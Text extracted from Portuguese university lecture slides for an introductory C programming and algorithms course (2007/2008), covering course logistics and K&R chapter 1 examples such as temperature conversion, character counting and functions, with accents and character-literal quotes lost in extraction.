Você está na página 1de 653

Acetatos de IAED

2 Semestre 2007/2008

Arlindo Oliveira, J. Marques Silva, Pedro Amaro de Matos,


Lus Guerra e Silva

IAED 2007/2008 p.1/569

Verso Inicial:

Ano Lectivo de 2002/2003

Verso 1:

Ano Lectivo de 2003/2004

Verso 2:

Ano Lectivo de 2004/2005

Verso 3:

Ano Lectivo de 2005/2006

Verso 4:

Ano Lectivo de 2006/2007

Verso 5:

Ano Lectivo de 2007/2008

IAED 2007/2008 p.2/569

IAED 2007/2008 p.3/569

IAED 2007/2008 p.4/569

Apresentao da Cadeira

IAED 2007/2008 p.5/569

Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.

IAED 2007/2008 p.6/569

Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.

IAED 2007/2008 p.6/569

Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.

IAED 2007/2008 p.6/569

Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.

IAED 2007/2008 p.6/569

Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.
Projecto e aulas de laboratrio: grupos de 3 alunos,
inscries a partir de quarta-feira, 27/2, s 14h, no
Fenix.

IAED 2007/2008 p.6/569

Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.
Projecto e aulas de laboratrio: grupos de 3 alunos,
inscries a partir de quarta-feira, 27/2, s 14h, no
Fenix.
Responsveis: Arlindo Oliveira, Luis Guerra e Silva.

IAED 2007/2008 p.6/569

Apresentao
Programa: Linguagem de programao C. Estruturas
de dados e algoritmos.
Carga horria: 2 aulas tericas + 1 aula de laboratrio.
Projecto: 1 projecto repartido por 3 entregas.
Avaliao contnua: 3 exerccios nas aulas de
laboratrio.
Projecto e aulas de laboratrio: grupos de 3 alunos,
inscries a partir de quarta-feira, 27/2, s 14h, no
Fenix.
Responsveis: Arlindo Oliveira, Luis Guerra e Silva.
Docentes: Vasco Manquinho, Rita Santos, Fernando
Correia.
IAED 2007/2008 p.6/569

Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.

IAED 2007/2008 p.7/569

Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.

IAED 2007/2008 p.7/569

Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.
Avaliao contnua (C): mdia dos 3 exerccios nas
aulas de laboratrio.

IAED 2007/2008 p.7/569

Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.
Avaliao contnua (C): mdia dos 3 exerccios nas
aulas de laboratrio.
Nota final = 50% T + 40% P + 10% C

IAED 2007/2008 p.7/569

Avaliao
Componente terica (T): mdia dos 2 testes, com
repescagem de um deles. Nota mnima de 7.5 em cada
teste.
Projecto (P): mdia das 3 entregas. Sem nota mnima.
Nota de cada aluno ponderada pela discusso final.
Avaliao contnua (C): mdia dos 3 exerccios nas
aulas de laboratrio.
Nota final = 50% T + 40% P + 10% C
Nota final (trab. estudante) = 55% T + 45% P

IAED 2007/2008 p.7/569

Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.

IAED 2007/2008 p.8/569

Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.
B. Kerninghan, D. Ritchie, The C Programming
Language, 2nd edition, Prentice Hall, 1988.

IAED 2007/2008 p.8/569

Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.
B. Kerninghan, D. Ritchie, The C Programming
Language, 2nd edition, Prentice Hall, 1988.
Thomas H. Cormen, Charles E. Leiserson, Ronald L.
Rivest, Clifford Stein, Introduction to Algoritms
Second Edition, The MIT Press.

IAED 2007/2008 p.8/569

Bibliografia
R. Sedgewick, Algorithms in C, Vol. I,
Addison-Wesley, 1998.
B. Kerninghan, D. Ritchie, The C Programming
Language, 2nd edition, Prentice Hall, 1988.
Thomas H. Cormen, Charles E. Leiserson, Ronald L.
Rivest, Clifford Stein, Introduction to Algoritms
Second Edition, The MIT Press.
Luis Damas, Linguagem C, FCA Editora Informtica.

IAED 2007/2008 p.8/569

A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.

IAED 2007/2008 p.9/569

A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.

IAED 2007/2008 p.9/569

A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.
Linguagem de alto nvel, mas que permite acesso de
baixo nvel a memria e dispositivos.

IAED 2007/2008 p.9/569

A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.
Linguagem de alto nvel, mas que permite acesso de
baixo nvel a memria e dispositivos.
A maioria dos sistemas operativos actuais (Linux,
Windows, MacOS, etc) continua a ser programado em
C.

IAED 2007/2008 p.9/569

A linguagem de programao C
Desenvolvida em 1972 por Dennis Ritchie, nos Bell
Labs, para utilizao no sistema operativo UNIX.
O standard ANSI C (ISO/IEC 9899:1990) foi adoptado
pela ISO em 1990.
Linguagem de alto nvel, mas que permite acesso de
baixo nvel a memria e dispositivos.
A maioria dos sistemas operativos actuais (Linux,
Windows, MacOS, etc) continua a ser programado em
C.
Influenciou o desenvolvimento de diversas linguagem
como: Java, C++, C#, Perl, PHP, JavaScript, etc.

IAED 2007/2008 p.9/569

A linguagem de programao C
Um exemplo de programa em C

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo
Funes

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo
Funes
Tabelas, estruturas e ficheiros

IAED 2007/2008 p.10/569

A linguagem de programao C
Um exemplo de programa em C
Fluxo de compilao
Estrutura de um programa em C
Tipos de dados
Instrues bsicas
Estruturas de controlo
Funes
Tabelas, estruturas e ficheiros
Ponteiros e memria dinmica

IAED 2007/2008 p.10/569

Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.

IAED 2007/2008 p.11/569

Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.

IAED 2007/2008 p.11/569

Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.
Aplicaes de rvores: rvores de procura binria;
insero e remoo de elementos em rvores; noo
de rvore equilibrada. rvores red-black.

IAED 2007/2008 p.11/569

Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.
Aplicaes de rvores: rvores de procura binria;
insero e remoo de elementos em rvores; noo
de rvore equilibrada. rvores red-black.
Tabela de disperso.

IAED 2007/2008 p.11/569

Estruturas de dados
Aplicaes de arrays: filas; pilhas; amontoados; arrays
dinmicos.
Aplicaes de listas: simplesmente e duplamente
ligadas; filas; pilhas.
Aplicaes de rvores: rvores de procura binria;
insero e remoo de elementos em rvores; noo
de rvore equilibrada. rvores red-black.
Tabela de disperso.
Grafos: introduo.

IAED 2007/2008 p.11/569

Algoritmos
Taxa de crescimento de funes e notao
assimpttica.

IAED 2007/2008 p.12/569

Algoritmos
Taxa de crescimento de funes e notao
assimpttica.
Algoritmos de procura (em arrays).

IAED 2007/2008 p.12/569

Algoritmos
Taxa de crescimento de funes e notao
assimpttica.
Algoritmos de procura (em arrays).
Algoritmos de ordenao (em arrays): SelectionSort,
InsertionSort, MergeSort, HeapSort, QuickSort e
ShellSort.

IAED 2007/2008 p.12/569

Parte I
K&R Cap. 1

IAED 2007/2008 p.13/569

hello, world
#include <stdio.h>

main ()
{
printf("hello, world\n");
}

IAED 2007/2008 p.14/569

hello, world
#include <stdio.h>

main()
{
printf("hello, world\n");
}

Bibliotecas de funes de entrada/sada

IAED 2007/2008 p.15/569

hello, world
#include <stdio.h>

main ()
{
printf("hello, world\n");
}

Funo main
Nome funo pode ser qualquer
Todos os programas tm uma funo main
Funo main primeira a ser executada
Funes podem ser definidas mltiplos ficheiros

IAED 2007/2008 p.16/569

hello, world
#include <stdio.h>

main ()
{
printf("hello, world\n");
}

Parmetros formais da funo


Comunicao do exterior com a funo

IAED 2007/2008 p.17/569

hello, world
#include <stdio.h>

main ()
{
printf("hello, world\n");
}

Instrues associadas
funo entre chavetas

IAED 2007/2008 p.18/569

hello, world
#include <stdio.h>

main ()
{
printf("hello, world\n");
}

Apenas uma instruo


Chamada funo printf
Parmetros actuais de printf colocados entre
parnteses
printf("hello, world
")
gera erro (string no pode mudar de linha)
IAED 2007/2008 p.19/569

hello, world
#include <stdio.h>
main ()
{
printf("hello, world\n");
}

String "hello, world\n"


Cadeia de caracteres entre aspas "
Outros caracteres
\n Sequncia de caracteres que representa newline
\t tab
\b backspace
\" aspas
\\ barra
IAED 2007/2008 p.20/569

Converso de temperaturas
Construir programa que converte temperaturas da escala
Fahrenheit para escala Celsius
0

-17

20

-6

40

60

15

80

26

...
260

126

280

137

300

148

IAED 2007/2008 p.21/569

Converso de temperaturas
Desenvolvimento do algoritmo

Programa executa instrues repetidamente


Dado valor de temperatura na escala Fahrenheit
Converte temperatura para graus Celsius
Escreve linha da tabela
Aumenta valor temperatura Fahrenheit

IAED 2007/2008 p.22/569

Converso de temperaturas
Desenvolvimento do algoritmo

Enquanto temperatura for inferior limite superior


Converte temperatura para graus Celsius
Escreve linha da tabela
Aumenta valor temperatura Fahrenheit

IAED 2007/2008 p.22/569

Converso de temperaturas
Algoritmo:
Limite inferior 0
Limite superior 300
Passo 20
Fahrenheit limite inferior
Enquanto temperatura for inferior limite superior
Converte temperatura para graus Celsius
Escreve linha da tabela
Aumenta valor temperatura Fahrenheit

IAED 2007/2008 p.22/569

Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
{
int fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}
IAED 2007/2008 p.23/569

Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
{
int fahr, celsius;
int inferior, superior, passo;
}

Comentrios
Texto entre /* e */

IAED 2007/2008 p.24/569

Converso de temperaturas
main ()
{
int fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;

Declarao de variveis
Tipos bsicos: char, short, long e double.
Tipos complexos: estruturas, unies, tabelas, ponteiros
para tipos mais simples e funes
IAED 2007/2008 p.25/569

Converso de temperaturas
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;

Instruo de atribuio de valor a varivel


Sintaxe: < varivel > = < expresso >

IAED 2007/2008 p.26/569

Converso de temperaturas
fahr=inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}

Ciclo while
Sintaxe: while ( <expresso>
) <. instruc

ao \verb>+
Indentao ajuda a perceber estrutura programa
Erro frequente:
while (i >= 0);
i = i-1;

IAED 2007/2008 p.27/569

Converso de temperaturas
fahr = inferior;
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}

Diviso inteira
Diviso entre inteiros diviso inteira
5/9 0

IAED 2007/2008 p.28/569

Converso de temperaturas
while (fahr <= superior) {
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
}
}

printf escrita formatada


printf("%d\t%d\n", fahr, celsius);

Melhorar formatao
printf("%3d%6d\n", fahr, celsius);
Problema: 0o F so -17,8o C e no -17o C

IAED 2007/2008 p.29/569

Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
{
float fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior) {
celsius = (5.0/9.0) * (fahr-32);
printf("%3.0f %6.1f\n", fahr, celsius);
fahr = fahr + passo;
}
}
IAED 2007/2008 p.30/569

Converso de temperaturas
Principais diferenas:
float fahr, celsius;
celsius = (5.0/9.0) * (fahr-32);
printf("%3.0f %6.1f\n", fahr, celsius);

Outras converses:
%o inteiros em notao octal
%x inteiros em notao hexadecimal
%c caracter
%s string
%% caracter %

IAED 2007/2008 p.31/569

Converso de temperaturas
#include <stdio.h>
/* Escreve tabela de convers
ao Fahrenheit-Celsius
fahr = 0,20,...,300 */
main ()
{
float fahr;
for (fahr = 0; fahr <= 300; fahr = fahr + 20)
printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));
}

Inicializao de variveis: fahr = 0


Teste: fahr <= 300
Incremento: fahr = fahr + 20
Ciclo termina quando condio for falsa
IAED 2007/2008 p.32/569

Converso de temperaturas
Constantes simblicas
M prtica utilizar valores explcitos (0, 20, 300)
Alternativa: utilizao de constantes usando define
#define <nome> <texto>

IAED 2007/2008 p.33/569

Converso de temperaturas
#include <stdio.h>
#define SUPERIOR 300
#define INFERIOR 0
#define PASSO 20
/* Escreve tabela de convers
ao Fahrenheit-Celsius
fahr = 0,20,...,300 */
main ()
{
float fahr;
for (fahr = INFERIOR; fahr <= SUPERIOR; fahr = fahr + PASSO)
printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));
}

IAED 2007/2008 p.34/569

Leitura e escrita
Text stream sequncia de caracteres dividida em
linhas
Cada linha contm 0 ou mais caracteres e acaba com
newline
Funo getchar: l o prximo caracter da text stream
Funo putchar: recebe um inteiro como argumento e
escreve o caracter que tem como cdigo o inteiro

IAED 2007/2008 p.35/569

Cpia de ficheiros
Algoritmo:
L um caracter
Enquanto resultado de ler caracter no for
indicador do fim do ficheiro
Escreve caracter
L prximo caracter

IAED 2007/2008 p.36/569

Cpia de ficheiros
#include <stdio.h>
/* Copia input para output */
main ()
{
int c;
c = getchar();
while (c != EOF){
putchar(c);
c = getchar();
}
}
!= significa diferente

Porqu int c?
Constante EOF

IAED 2007/2008 p.37/569

Cpia de ficheiros
Atribuio retorna valor atribudo!
#include <stdio.h>
/* Copia input para output (Variac

ao)*/
main ()
{
int c;
while ((c = getchar()) != EOF)
putchar(c);
}

Parnteses em while ((c = getchar()) != EOF)


necessrios
Precedncia de != maior que =
IAED 2007/2008 p.38/569

Contagem de caracteres
Algoritmo:
Inicializa contador a 0
Enquanto o resultado de ler um caracter no for
indicador do fim do ficheiro
Incrementa contador
Escreve contador

IAED 2007/2008 p.39/569

Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
{
long contador;
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
}

IAED 2007/2008 p.40/569

Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
{
long contador;
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
}

Variveis do tipo long int


Pelo menos 32 bits para guardar o inteiro
%ld para escrever com printf
IAED 2007/2008 p.41/569

Contagem de caracteres
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
}

Instruo de incremento da varivel contador


Tipicamente mais eficiente que
contador = contador + 1
Tambm h contador++
Tambm h --contador e contador--

IAED 2007/2008 p.42/569

Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
{
double contador;
for(contador = 0; getchar() != EOF; ++contador)
;
printf("%.0f\n", contador);
}

Alternativa programa anterior


Utiliza double
%f para escrever objectos dos tipos float e double

IAED 2007/2008 p.43/569

Contagem de linhas
Algoritmo:
Inicializa contador a 0
Enquanto o resultado de ler um caracter no for
indicador do fim do ficheiro
Se caracter lido for fim de linha ento
Incrementa contador
Escreve contador

IAED 2007/2008 p.44/569

Contagem de linhas
#include <stdio.h>
/* conta linhas no ficheiro de entrada */
main ()
{
int caracter, contador;
contador = 0;
while ((caracter = getchar()) != EOF)
if (caracter == \n)
++contador;
printf("%d\n",contador);
}

IAED 2007/2008 p.45/569

Contagem de linhas
#include <stdio.h>
/* conta linhas no ficheiro de entrada */
main ()
{
int caracter, contador;
contador = 0;
while ((caracter = getchar()) != EOF)
if (caracter == \n)
++contador;
printf("%d\n",contador);
}

Teste de igualdade ==
Caracter mudana de linha \n
IAED 2007/2008 p.46/569

Contagem de palavras

Inicializa contador letras, palavras e linhas


Enquanto resultado de ler caracter no for
indicador de fim do ficheiro
Incrementa contador letras

IAED 2007/2008 p.47/569

Contagem de palavras

Inicializa contador letras, palavras e linhas


Enquanto resultado de ler caracter no for
indicador de fim do ficheiro
Incrementa contador letras
Se caracter lido for nova linha ento
Incrementa contador linhas

IAED 2007/2008 p.47/569

Contagem de palavras
Algoritmo:
Estado toma valor FORA
Inicializa contador letras, palavras e linhas
Enquanto resultado de ler caracter no for
indicador de fim do ficheiro
Incrementa contador letras
Se caracter lido for nova linha ento
Incrementa contador linhas
Se caracter lido for espao ou
nova linha ou tabulao ento
Estado toma valor FORA
Caso contrrio se estado FORA ento
Estado passa a DENTRO
Incrementa contador palavras
Escreve contadores
IAED 2007/2008 p.47/569

Contagem de palavras
#include <stdio.h>
#define DENTRO 1 /* Dentro de uma palavra*/
#define FORA 0 /* Fora de uma palavra */
/* conta linhas, palavras e caracteres no ficheiro de entrada */
main ()
{
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF) {
++nc;
if (c == \n)
++nl;
if (c == || c == \n || c == \t)

(cont)
IAED 2007/2008 p.48/569

Contagem de palavras
main ()
{
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF) {
++nc;
if (c == \n)
++nl;
if (c == || c == \n || c == \t)
estado = FORA;
else if (estado == FORA) {
estado = DENTRO;
++np;
}
}
printf("%d %d %d\n", nl, np, nc);
}
IAED 2007/2008 p.49/569

Contagem de palavras
main ()
{
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF) {
++nc;
if (c == \n)
++nl;

Atribuio mltipla
Equivale a (nl = (np = (nc = 0)));

IAED 2007/2008 p.50/569

Contagem de palavras
if (c == || c == \n || c == \t)
estado = FORA;
else if (estado == FORA) {
estado = DENTRO;
++np;
}
}

Operador lgico disjuno ||


Operador lgico conjuno && (tem maior precedncia
que ||)
Argumentos avaliados da esquerda para direita.
Interrompe avaliao quando argumento for suficiente
para definir valor da expresso.

IAED 2007/2008 p.51/569

Contagem de palavras
if (c == || c == \n || c == \t)
estado = FORA;
else if (estado == FORA) {
estado = DENTRO;
++np;
}

Instruo if-then-else
Sintaxe:
if (express
ao)
o1
instruc
a
o2
else instruc
a

IAED 2007/2008 p.52/569

Tabelas
Programa que conta ocorrncias de dgitos, espaos e de
outros caracteres
Algoritmo:
Inicializa contadores dgitos, brancos e outros
Enquanto resultado de ler caracter no for
indicador de fim do ficheiro
Se caracter lido dgito ento
Incrementa contador de dgito
correspondente
Seno, se caracter lido branco ento
Incrementa contador de brancos
Seno, incrementa contador de outros
Escreve contadores
IAED 2007/2008 p.53/569

Tabelas
#include <stdio.h>
/* conta d
gitos, espac
os em branco e outros caracteres */
main ()
{
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
while ((c = getchar()) != EOF)
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;

(cont.)
IAED 2007/2008 p.54/569

Tabelas
main ()
{
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
while ((c = getchar()) != EOF)
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;
printf("d
gitos =");
for (i = 0; i < 10; ++i)
printf("%d", ndigitos[i]);
printf(", espac
os brancos = %d, outros = %d\n", nbrancos, noutros);
}
IAED 2007/2008 p.55/569

Tabelas
#include <stdio.h>
/* conta d
gitos, espac
os em branco e outros caracteres */
main ()
{
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;

Declarao de tabelas
Varivel ndigitos tabela de 10 inteiros
ndigitos[0], ndigitos[1],. . . , ndigitos[9]

IAED 2007/2008 p.56/569

Tabelas
while ((c = getchar()) != EOF)
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;

Caracteres so inteiros pequenos


Valor do dgito c c-0
Funciona porque dgitos aparecem seguidos nas
tabelas de caracteres
Utilizar valor do dgito para guardar informao sobre
dgito numa tabela. Ex: ndigitos[2-0]
representa nmero de vezes que aparece caracter 2
IAED 2007/2008 p.57/569

Tabelas
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;

ifs encadeados
if (condio1)
instruo1
else if (condio2)
instruo2
...
else instruon
IAED 2007/2008 p.58/569

Tabelas
if (c >= 0 && c <= 9)
++ndigitos[c-0];
else if (c == || c == \n || c == \t)
++nbrancos;
else ++noutros;

Indentao crescente problemtica em instrues


grandes
Instruo switch semelhante

IAED 2007/2008 p.59/569

Funes
#include <stdio.h>
int potencia(int m, int n);
/* teste func

ao potencia */
main ()
{
int i;
for (i = 0; i < 10; ++i)
printf("%d %d %d\n", i, potencia(2,i), potencia(-3,i));
return 0;
}
/* potencia: levanta base `
a n-esima potencia; n >= 0 */
int potencia (int base, int n)

(cont.)
IAED 2007/2008 p.60/569

Funes
/* potencia: levanta base `
a n-esima potencia; n >= 0 */
int potencia (int base, int n)
{
int i, p;
p = 1;
for (i = 1; i <= n; ++i)
p = p * base;
return p;
}

Funes aparecem em qualquer ordem num ficheiro


Funes podem estar distribudas por diversos ficheiros

IAED 2007/2008 p.61/569

Funes
int potencia (int base, int n)
{
int i, p;
p = 1;
for (i = 1; i <= n; ++i)
p = p * base;
return p;
}

Parmetros formais de funo so variveis locais de


funo (inacessveis a partir de outras funes)
Instruo return especifica valor a retornar
Funo pode no retornar valor

IAED 2007/2008 p.62/569

Funes
#include <stdio.h>
int potencia(int m, int n);
/* teste func

ao potencia */
main ()
{
int i;

Prottipos de funes
Especificao dos tipos dos argumentos e do tipo do
valor a retornar
Podia ser int potencia(int, int);

IAED 2007/2008 p.63/569

Passagem por valor


Parmetros actuais copiados para variveis
temporrias quando funo executada
Funo no tem acesso a parmetros actuais (s s
cpias)
No os pode alterar
Diferente da "passagem por referncia" (Pascal)
Para funo mudar varivel, recebe endereo
(ponteiro) para varivel
Excepo: se parmetro actual tabela, passado o
endereo da tabela e no cpia da tabela

IAED 2007/2008 p.64/569

Passagem por valor


Verso de potencia que usa menos variveis
/* potencia: levanta base `
a n-esima potencia; n >= 0.
/
int potencia (int base, int n)
{
int p;
for (p = 1; n > 0; --n)
p = p * base;
return p;
}

IAED 2007/2008 p.65/569

Tabelas de caracteres
Programa que l linhas de texto e imprime a maior das
linhas
Algoritmo:
Enquanto houver linhas para ler
Se a linha lida maior que a anterior maior linha
Guarda a linha
Guarda o comprimento da linha
Imprime a maior linha

IAED 2007/2008 p.66/569

Tabelas de caracteres
#include <stdio.h>
#define MAXLINHA 1000
int lelinha(char linha[], int maxlinha);
void copia(char to[], char from[]);
/* Imprime a maior linha do ficheiro de entrada */
main ()
{
int comprimento;
int max;
char linha[MAXLINHA];
char maiscomprida[MAXLINHA];
max = 0;

(cont.)

IAED 2007/2008 p.67/569

Tabelas de caracteres
main ()
{
int comprimento;
int max;
char linha[MAXLINHA];
char maiscomprida[MAXLINHA];
max = 0;
while ((comprimento = lelinha(linha, MAXLINHA)) > 0)
if (comprimento > max) {
max = comprimento;
copia(maiscomprida, linha);
}
if (max > 0)
printf("%s", maiscomprida);
return 0;
}

(cont.)
IAED 2007/2008 p.68/569

Tabelas de caracteres
/* lelinha: l
e linha para s, retorna comprimento */
int lelinha(char s[], int lim)
{
int c, i;
for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=\n; ++i)
s[i] = c;
if (c == \n){
s[i] = c;
++i;
}
s[i] = \0;
return i;
}

(cont.)

IAED 2007/2008 p.69/569

Tabelas de caracteres
/* copia: copia origem para destino; assume tamanho suficiente */
void copia(char destino[], char origem[])
{
int i;
i = 0;
while ((destino[i] = origem[i]) != \0)
++i;
}

IAED 2007/2008 p.70/569

Tabelas de caracteres
/* lelinha: l
e linha para s, retorna comprimento */
int lelinha(char s[], int lim)
{
int c, i;
for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=\n; ++i)

Definio de parmetro formal s no precisa de


tamanho
Declarao do tipo de retorno desnecessria (int por
omisso)

IAED 2007/2008 p.71/569

Tabelas de caracteres
s[i] = c;
if (c == \n){
s[i] = c;
++i;
}
s[i] = \0;
return i;
}

Conveno C: cadeia caracteres acaba com \0


Cadeia de caracteres "hello\n" tem caracteres h,
e, l, l, o, \n e \0
printf espera strings neste formato

IAED 2007/2008 p.72/569

Variveis externas
Variveis de funes so locais s funes
Varivel local de uma funo existe apenas quando
funo chamada
Varivel local destruida quando funo acaba de ser
executada
Varivel local automtica
Variveis estticas retm o valor entre chamadas

IAED 2007/2008 p.73/569

Variveis externas
Varivel externa definida fora de qualquer funo
Varivel externa precisa ser declarada por cada funo
que a utilize (instruo extern) se no tiver sido
definida anteriormente no ficheiro
Variveis externas so acessveis a partir de todas
funes

IAED 2007/2008 p.74/569

Variveis externas
#include <stdio.h>
#define MAXLINHA 1000

/* tamanho maximo da linha */

int maximo;
/* maior tamanho encontrado at
e agora */
char maiscomprida[MAXLINHA];
/* maior linha encontrada at
e agora */
char linha[MAXLINHA];
/* linha a ser tratada */
int lelinha(void);
void copia(void);

(cont.)

IAED 2007/2008 p.75/569

Variveis externas
/* imprime a maior linha do ficheiro de entrada. Vers
ao especializada */
main ()
{
int comprimento;
extern int maximo;
extern char maiscomprida[];
maximo = 0;
while ((comprimento = lelinha()) > 0)
if (comprimento > maximo) {
maximo = comprimento;
copia();
}
if (maximo > 0) /* houve uma linha */
printf("%s", maiscomprida);
return 0;
}

(cont.)
IAED 2007/2008 p.76/569

Variveis externas
/* lelinha: vers
ao especializada */
int lelinha(void)
{
int c, i;
extern char linha[];
for (i = 0; i < MAXLINHA -1 && (c=getchar()) != EOF && c != \n; ++i)
linha[i]=c;
if (c == \n) {
linha[i] = c;
++i;
}
linha[i] = \0;
return i;
}

(cont.)

IAED 2007/2008 p.77/569

Variveis externas
/* copia: vers
ao especializada */
void copia(void)
{
int i;
extern char linha[], maiscomprida[];
i = 0;
while ((maiscomprida[i] = linha[i]) != \0)
++i;
}

IAED 2007/2008 p.78/569

Variveis externas
#define MAXLINHA 1000

/* tamanho maximo da linha */

int maximo;
/* maior tamanho encontrado at
e agora */
char maiscomprida[MAXLINHA];
/* maior linha encontrada at
e agora */
char linha[MAXLINHA];
/* linha a ser tratada */

Varivel externa definida fora de qualquer funo


Definio serve para alocar espao de memria
varivel

IAED 2007/2008 p.79/569
